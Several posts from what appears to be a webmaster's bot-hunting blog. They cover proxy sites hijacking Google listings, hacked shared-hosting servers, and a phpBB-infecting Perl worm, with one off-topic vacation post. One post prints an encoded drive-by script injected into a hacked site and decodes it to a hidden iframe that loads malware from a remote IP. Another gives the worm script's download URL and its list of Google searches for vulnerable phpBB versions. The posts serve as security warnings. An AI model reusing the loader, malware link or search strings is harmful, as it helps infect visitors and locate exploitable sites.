Google has been crawling through cloaked pages on proxy sites for quite some time and it got better for a while but suddenly there's a new rash of this crap and they don't seem to be able to stop it.

Here's an example of hijacked pages associated with a proxy and I'm not sure Google properly detects the pages as duplicate content else the listings would say supplemental. However, one search for a specific example did block the results, but look how high these proxies rank when you include the supplemental results. In another sample there were 2 proxy sites with a hijacked page in the top 20 results, just look for the word proxy in the URLs.

Obviously hijacking is still a problem years after it was originally reported, a little better than before, but the beast still exists in the underbelly of their SERPs.

The following are a sample of some recent proxy sites Google crawled through:

http://free4.hostrocket.com/~hzhostr/
http://www.78y.net/
http://www.akiyan.com/hrgn/
http://codedup.com/proxy/
http://stealthclick.com/phproxy/
http://www.anonymonline.com/
http://www.jamesh.us/cgiproxy/
http://www.anonoxy.com/ (redirected from lay-low.net)
http://www.proxymod.com/
http://myspaceproxy.gr/

There are a ton of proxies and Google may crawl through them as well but I'm only tracking the ones that get linked to my sites. A couple of the above seem to be inactive at the moment, they are volatile and may resurface on those domains, but even their current 404 status doesn't remove the results from Google, very odd.

Now this one was quite amusing:

http://codedup.com/proxy/

Their hosting support left them a message:

I have chmodded nph-proxy.pl to 000 and changed it over to the root
user's ownership. Please to not install this script elsewhere or use
it on our service before contacting support. Thank you.

Well, it appears you've been spanked!

Why can't Google detect that they're being led astray by proxy sites cloaking links is amazing to me as Yahoo and MSN don't seem to have this problem to the same extent as I rarely catch them crawling via a proxy, at least not as frequently as Google does.

NOTE: This post contains time sensitive information and links to searched that are reporting a current problem that may not be accurate in the future.

Back From Looooong Vacation

After spending another week in Florida, just repeat after me "There's no place like home, no place like home..."

The rental car we picked up from National was a Cadillac DTS which is a sweet ride. I highly recommend one if you can get a good rate. Also had a Caddy in December when I was in Missouri (pronounced MISERY) and Iowa for a few days and the seat warmer, or as I like to call it "the fart toaster", came in handy in the below freezing weather. Didn't need the fart toaster in Florida, but they have a seat cooler as well for those blistering hot leather seats baking under the Florida sun.

Every night was the same old song, "Where to go out to eat?", and the in-laws eventually grew weary of my bitching every time someone mentioned Chinese food. Let's get serious here, the SF Bay Area has some of the best Chinese food in the nation so why in the hell do I need to go eat second rate slop just because it's served under a Chinese shingle in Florida?

Never managed to make it to my favorite Italian haunts this trip as I got dragged to some overpriced shit hole that my sis-in-law raved about it. Sorry, it was just OK for the price which was a little over the top for what was served. The place was busy as hell so others might like it, but it left me wanting, wanting to go elsewhere! Just give me a place with good garlic rolls literally oozing in garlic to compliment the pasta drowning in red sauce and globs of gooey cheese and I'm a happy boy, but there was no Italian joy to be had like that on this trip.

Now Florida does have it's culinary delights like a few good deli's. All the deli's SUCK in the SF Bay Area so I had to grab lunch in places like Toojay's while I was there. Nothing I had in Florida can compare to Manny's in Chicago, but it's still better than the crappy delis in the SF area.

Spent a few nights at the Hard Rock Casino playing what Florida considers Texas Hold'em with a $2 maximum bet. If it wasn't for the bad beat jackpot which was over $90K it wouldn't even be worth the trouble to play there as you can't make any real money in that watered down sham of a game. Others play the tournaments to make some coin but I don't have the time or patience to deal with that long drawn out tournament shit. The upside is I won 4 nights in a row and left Florida undefeated as those wannabe poker players chase every hand and were eager to donate to my wallet.

Listen up Floridians, if you ever get real gambling you'll all lose your asses playing like you do and Celebrity Poker and Pogo are NOT the places to learn how to play!

Anyway, I'm back and my fat ass is happy in my own chair, laying on my own bed, kick'n it on my own sofa and most importantly, sitting on my own porcelain throne once more!

Now I have to go pick up the cat from the kennel.

This should be fun as that needy little bastard will probably spend the rest of the day crawling all over me.

Off to the kennel...

Multiple Shared Servers Hacked at iPowerWeb.com

It was a strange chain of random events leading to this post that started the other day when we discussed an iPowerWeb server that was hosting panscient.com on 66.235.217.105, they have since wisely moved, which turned out to be on a shared server with multiple hacked accounts.

Then yesterday someone reported a different hacked account linked from one of my sites to another iPowerWeb server at 66.235.217.108 which appears to also have multiple accounts hacked as well. Then there came a couple of additional reports of hacked accounts with the iframes launcher script and sure enough, they all pointed back to iPowerWeb.

Suddenly there are several reports in just a couple of days so it looks like the problem may be spreading like wildfire, so we looked a little deeper. Not too deep mind you, because there are other things that need to be done, just deep enough to verify it was a real problem.

The following IPs are the result of that brief investigation which have been verified to have multiple accounts all containing the iframes launcher script at the time of this posting:

66.235.217.102
66.235.217.105
66.235.217.107
66.235.217.108
66.235.217.112
66.235.217.113
66.235.219.114
66.235.219.116

There may be more and it's an obvious problem documented all over the net.

Apparently, this is not even a new problem because PCWORLD printed an article "Net Watchdog: Hacked Site Causes Headaches" that is almost 7 months old describing the exact same issues with this very same host.

Don't know what their problem is but they still haven't fixed it in many months based on all the reports online and hackers seem to have free reign.

Not good news for anyone hosting there, that's for sure!

Bot Hunters Beware: Search Engine Site Hacked

Beware that investigating user agents and referrers that show up in your log files because you could just end up being infected with a virus!

This little crawler left a his calling card:

38.99.203.110 "panscient.com"

A quick trip to the Panscient site shows it has been hacked and the home page has this javascript inserted into the top of the file:

<script language="javascript"> document.write(
unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E') ); </script>

When decoded that javascript becomes a link to the source of the downloader virus:

<iframe src= http://81.95.146.98/index.html
frameborder="0" width="1" height="1" scrolling="no"
name=counter></iframe>

Thanks to John Andrews for the tip that they were hacked and spreading a virus as I've been to Panscient's site before and didn't notice anything wrong., but it was definitely infected I went there today!

Just heed this as a cautionary tale that things in your log file could be a lure by hackers to infect you with something not currently detected by virus scanners, which is a good reason why I disable javascript when I do most of my bot hunting.

Besides, who best to hack and humiliate than the very people that battle these vermin on a daily basis?

So bot busters BEWARE!

UPDATE - I checked other domains on the server and it's hacked all over the place. Hard to believe that a company selling custom search engines doesn't even have their own dedicated server, just weird.

Botnet Perl/Asan.A.worm Mining Google and Infecting phpBB

Finally got in touch with one of the owners of a server that was hacked and actively mounting the botnet attack and got some good information. There was a file installed on the server called gugl.txt which was a Perl script that had an active load running on the server when it was shutdown.

Took about 5 seconds to glance at this file and it's obvious I was absolutely correct about how they were finding vulnerable sites using Google as the primary data mining facility. The only thing I found a bit odd is why they were using Google Japan "www.google.co.jp" when the other evidence I found pointed to Google Turkey, perhaps 2 different hackers or worms, perhaps just spreading the load around so Google won't notice, who knows.

The file they download to your server to locate more vulnerable servers is here:

http://lawhelper.com.ua/gugl.txt

When I opened the file my virus scanner claimed it was a Perl.Asan virus so I did a bit of research and Panda claims it's the Perl/Asan.A.worm or something similar, that locates and infects phpBB systems.

Here's the searches in human readable form that gugl.txt was using to look for vulnerabilities:

"posting.php?mode=newtopic" "viewtopic.php?t=" "viewtopic"+"&view=previous" "Powered+By+phpBB+2.0.4" "Powered+By+phpBB+2.0.5" "Powered+By+phpBB+2.0.6" "Powered+By+phpBB+2.0.7" "Powered+By+phpBB+2.0.8" "Powered+By+phpBB+2.0.9" "Powered+By+phpBB+2.0.10" "Powered+By+phpBB+2.0.10" "Powered+By+phpBB+2.0.11" "Powered+By+phpBB+2.0.2" "Powered+By+phpBB+2.0.1" "Powered+by+phpbb+2.0.10".com "Powered+by+phpbb+2.0.8".com "Powered+by+phpbb+2.0.6".com "Powered+by+phpbb+2.0.10".net "Powered+by+phpbb+2.0.6".net "Powered+by+phpbb+2.0.8".de "Powered+by+phpbb+2.0.6".de "Powered+by+phpbb+2.0.10".de "Powered+by+phpbb+2.0.8".be "Powered+by+phpbb+2.0.6".be "Powered+by+phpbb+2.0.10".be "Powered+by+phpbb+2.0.8".ca "Powered+by+phpbb+2.0.6".ca "Powered+by+phpbb+2.0.10".ca "Powered+by+phpbb+2.0.8".org "Powered+by+phpbb+2.0.6".org "Powered+by+phpbb+2.0.10".org "Powered+by+phpbb+2.0.6"foro "Powered+by+phpbb+2.0.8"foro "Powered+by+phpbb+2.0.10"foro "Powered+by+phpbb+2.0.6"forum "Powered+by+phpbb+2.0.8"forum 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Google likes to claim they "Do No Evil" but sure allow themselves to be used for evil.

Would it be too much to ask that Google plug some holes or block some types of searches to stop these worms from finding vulnerable websites?

Come on guys, with all your Billion$ you should be able to have a few security experts on hand, maybe working in conjunction with Panda, Symantec and such, that keep on top of these specific threats and block the specific searches used to locate vulnerable sites.

Not just Google either, they were just the search engine in the center of this particular attack, but the other search engines like Yahoo, Ask and MSN should be blocking access to this stuff as well.

Technically, my server is only under attack because Google showed one of these worms that the phrase "PhotoCart" existed somewhere in my server, and it's not even the software these idiot hackers and looking for in the first place.

Gee thanks Google, like I needed this problem.

Sheesh.

At least now I know what I'm up against.